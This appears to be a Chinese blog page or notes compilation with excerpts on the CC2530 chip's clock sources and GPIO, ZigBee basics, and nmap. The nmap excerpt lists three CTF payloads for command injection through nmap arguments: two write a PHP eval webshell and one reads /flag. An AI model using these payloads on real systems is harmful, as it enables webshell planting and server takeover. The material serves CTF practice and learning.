切换系统高频时钟源

CC2530在正常运行的时候需要一个高频时钟信号和一个低频的时钟信号

  • 高频时钟信号:主要供给给CPU,保证程序的运行
  • 低频时钟信号:主要供给看门狗,睡眠定时器等偏上外设

时钟信号来源

  • 高频信号两个来源:芯片内部的16M RC电路;外接的32M石英晶振
  • 低频信号两个来源:芯片内部的32K RC电路,外接的32.768K石英晶振
ZigBee

CC2530只具备QFN40封装 工作范围:2~3.6V(推荐选3.3V)

一共有21个通用IO口,其中这21个分为3组P0\P1\P2; 其中P0\P1组各8个IO,P2组5个(P2_0、P2_1、 P2_2、P2_3、 P2_4)。

这些口子都可以作为普通或对应的片上外设控制。

其中P1_0 P1_1有20mA的输出驱动能力,其余的只有4mA

PxSEL、PxDIR、PxINP Px(x分别对应0、1、2,用来控制对应的IO口组)3种寄存器;复位、默认都是0

ZigBee

  • 学习ZigBee不仅仅是学习控制器本身,还要掌握一堆叫做协议栈的代码和网络的一些相关东西

ZigBee是无线设备之间的一种通信方式,类似于任人和人之间的普通话交流,普通话就是一种通信方式

ZigBee,ZigBee通信方式,ZigBee协议这三者没任何区别,只是说法不同而已

ZigBee的作用就是用于无线模块和模块之间的通信,构建无线局域网

无线传感网络:如果这个无线局域网用于传感器的数据收集和监控,那么这个网络就叫做无线传感器网络,是无线局域网的一种具体应用

引入ZigBee通信方式的原因:

  • WiFi:通信速率大,功耗大等
  • 蓝牙:功耗小,组网的节点数较少
  • ZigBee:可以组件大规模的网络,功耗低(TI CC2530 正常工作电流8mA,最低工作达到几个uA),缺点为通信速率小,MAX=250KB

此次使用的是CC2530芯片

ZigBee

一些关于nmap命令执行的题目payload

' -oN b.phtml <?=eval($_POST[a]);?>'

' -iL /flag -oN flag.txt '

' <?php @eval($_POST["hack"]);?> -oG hack.php '

nmap这个渗透工具一般有在渗透的准备阶段,用于收集用户的信息,为后面的渗透做情报支持

Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnmap。

Nmap可以完成以下任务:

  • 主机探测
  • 端口扫描
  • 版本检测
  • 系统检测
  • 支持探测脚本的编写
Nmap